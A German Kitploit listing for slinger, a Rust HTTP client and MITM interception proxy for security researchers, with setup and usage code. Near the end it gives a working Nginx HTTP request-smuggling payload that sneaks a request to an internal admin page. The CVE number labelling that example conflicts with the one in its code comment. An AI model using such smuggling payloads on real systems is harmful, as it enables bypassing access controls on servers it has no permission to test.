Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
slinger — Ein HTTP-Client, der speziell für Sicherheitsforscher entwickelt wurde | Kitploit
Tools/GitHubGitHub/emo-crab/slinger
SchwachstellenanalyseWeb-Proxys & AbfangenAPI-SicherheitstestsWebsicherheitPenetrationstests
GitHubemo-crab/slinger

slinger

Ein HTTP-Client, der speziell für Sicherheitsforscher entwickelt wurde

Repository anzeigen
302vor 2 MonatenVon Kitploit geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen
Webseite

Contributors Forks Stargazers Issues MIT License crates io


Logo

slinger(投石器)

Ein HTTP-Client für Rust, entwickelt für Hacker.
Erkunden Sie die Dokumentation »

Demo ansehen · Fehler melden · Feature anfordern

Über das Projekt

Product Name Screen Shot

Slinger ist ein Arbeitsbereich, der Folgendes enthält:

slinger

Die Kern-HTTP-Client-Bibliothek für Rust, entwickelt für Hacker.

  • anpassbare Weiterleitungsrichtlinie
  • http/https- und socks5/socks5h-Proxys
  • Cookie-Speicher
  • Raw-Socket-Anfrage
  • HTTPS über TLS

slinger-mitm

Ein Man-in-the-Middle (MITM)-Proxy mit transparenter HTTPS-Verkehrsabfangung, ähnlich wie Burp Suite.

  • Automatische Zertifikaterstellung der Zertifizierungsstelle mit verbesserter Zertifikatsverwaltung (inspiriert von hudsucker)
  • Zertifikats-Caching für hohe Leistung
  • Transparente HTTPS-Abfangung mittels rustls-Backend
  • Schnittstellen zum Abfangen und Modifizieren von Verkehr
  • Zufällige Seriennummern und Behandlung von Taktversatz
  • Wiederverwendung der Socket-Implementierung von slinger
  • Minimale externe Abhängigkeiten

(nach oben)

Erste Schritte

Verwendung von slinger (HTTP-Client)

Dieses Beispiel aktiviert einige optionale Funktionen, daher könnte Ihre Cargo.toml so aussehen:

root@kitploit:~
[dependencies]
slinger = { version = "0.2.9", features = ["serde", "cookie", "charset", "tls", "rustls", "gzip"] }

Und dann der Code:

root@kitploit:~
#[tokio::main]
async fn main() -> Result<(), Box<dyn std::error::Error>> {
  let resp = slinger::get("https://httpbin.org/get").await?;
  println!("{:?}", resp.text());
  Ok(())
}

Verwendung von slinger-mitm (MITM-Proxy)

Fügen Sie Ihrer Cargo.toml hinzu:

root@kitploit:~
[dependencies]
slinger-mitm = { version = "0.2.9" }
tokio = { version = "1", features = ["full"] }

Beispielcode:

root@kitploit:~
use slinger_mitm::{MitmConfig, MitmProxy, Interceptor};
use std::sync::Arc;

#[tokio::main]
async fn main() -> Result<(), Box<dyn std::error::Error>> {
    let config = MitmConfig::default();
    let proxy = MitmProxy::new(config).await?;
    
    // Add logging interceptor
    let handler = proxy.interceptor_handler();
    let mut h = handler.write().await;
    h.add_request_interceptor(Arc::new(Interceptor::logging()));
    drop(h);
    
    proxy.start("127.0.0.1:8080").await?;
    Ok(())
}

Weitere Einzelheiten zur Verwendung des MITM-Proxys finden Sie unter slinger-mitm/README.md.

Funktionen

Slinger unterstützt die folgenden optionalen Funktionen:

  • tls - Basis-TLS-Funktion (aktiviert TLS-Typen und Schnittstellen ohne ein spezifisches Backend)
  • rustls - HTTPS-Unterstützung mittels Rustls (erfordert tls, reine Rust-Implementierung)
  • http2 - HTTP/2-Protokollunterstützung (erfordert ein TLS-Backend)
  • cookie - Cookie-Handling-Unterstützung
  • charset - Zeichenkodierungsunterstützung
  • serde - Serialisierungs-/Deserialisierungsunterstützung
  • gzip - Gzip-Komprimierungsunterstützung
  • schema - JSON-Schema-Unterstützung

Auswahl des TLS-Backends

Um TLS zu verwenden, müssen Sie:

  1. Die tls-Funktion aktivieren
  2. Das rustls-Backend wählen ODER einen benutzerdefinierten TLS-Connector bereitstellen

Beispiel-Feature-Kombinationen:

root@kitploit:~
# Verwendung des rustls-Backends
slinger = { version = "0.2.8", features = ["tls", "rustls"] }

# Verwendung eines benutzerdefinierten TLS-Backends (erfordert Implementierung von CustomTlsConnector)
slinger = { version = "0.2.8", features = ["tls"] }

Benutzerdefiniertes TLS-Backend (z. B. native-tls, OpenSSL)

Wenn Sie native-tls, OpenSSL oder andere TLS-Bibliotheken verwenden möchten, können Sie einen benutzerdefinierten TLS-Connector implementieren. Siehe native_tls_example.rs für ein vollständiges Beispiel, wie native-tls integriert wird.

Beispiel

  • Nginx - HTTP-Schmuggel CVE-2019-20372
root@kitploit:~
use std::io::BufRead;
use slinger::{ClientBuilder, HTTPRecord};

/// CVE-2020-11724
/// Wenn Sie den BurpSuite-Proxy verwenden, muss der **Connection**-Header bei eingehenden Anfragen **deaktiviert** sein.
const RAW: &[u8] = b"GET /test1 HTTP/1.1
Host: 192.168.83.196:8081
Content-Length: 42
Transfer-Encoding: chunked

0

GET /test1 HTTP/1.1
Host: 192.168.83.196:8081
X: GET http://192.168.83.1:8080/admin.jsp HTTP/1.0

";
#[tokio::main]
async fn main() -> Result<(), Box<dyn std::error::Error>> {
  // let proxy = slinger::Proxy::parse("http://127.0.0.1:8080").unwrap();
  let client = ClientBuilder::default().build().unwrap();
  let mut raw = Vec::new();
  // replace \n to \r\n
  for line in RAW.lines() {
    match line {
      Ok(l) => {
        raw.extend(l.as_bytes());
        raw.extend(b"\r\n")
      }
      Err(err) => {
        println!("{:?}", err);
      }
    }
  }
  let resp = client.raw("http://127.0.0.1:9015/", raw, true).send().await?;
  let record = resp.extensions().get::<Vec<HTTPRecord>>().unwrap();
  println!("{:?}", record);
  Ok(())
}

Weitere Beispiele finden Sie im example

(nach oben)

Mitwirken

Beiträge machen die Open-Source-Community zu einem so erstaunlichen Ort zum Lernen, Inspirieren und Gestalten. Jeder Beitrag ist sehr willkommen.

Wenn Sie einen Vorschlag haben, der dies verbessern würde, forken Sie bitte das Repository und erstellen Sie einen Pull Request. Sie können auch einfach ein Issue mit dem Tag "enhancement" eröffnen. Vergessen Sie nicht, dem Projekt einen Stern zu geben! Nochmals vielen Dank!

  1. Forken Sie das Projekt
  2. Erstellen Sie Ihren Feature-Branch (git checkout -b feature/AmazingFeature)
  3. Committen Sie Ihre Änderungen (git commit -m 'Add some AmazingFeature')
  4. Pushen Sie zum Branch (git push origin feature/AmazingFeature)
  5. Öffnen Sie einen Pull Request

(nach oben)

Lizenz

Verteilt unter der GPL-3.0-only-Lizenz. Siehe LICENSE für weitere Informationen.

(nach oben)

Kontakt

Your Name - @Kali_Team - [email protected]

Projekt-Link: https://github.com/emo-crab/slinger

(nach oben)

Danksagungen

  • reqwest

(nach oben)

Tool herunterladen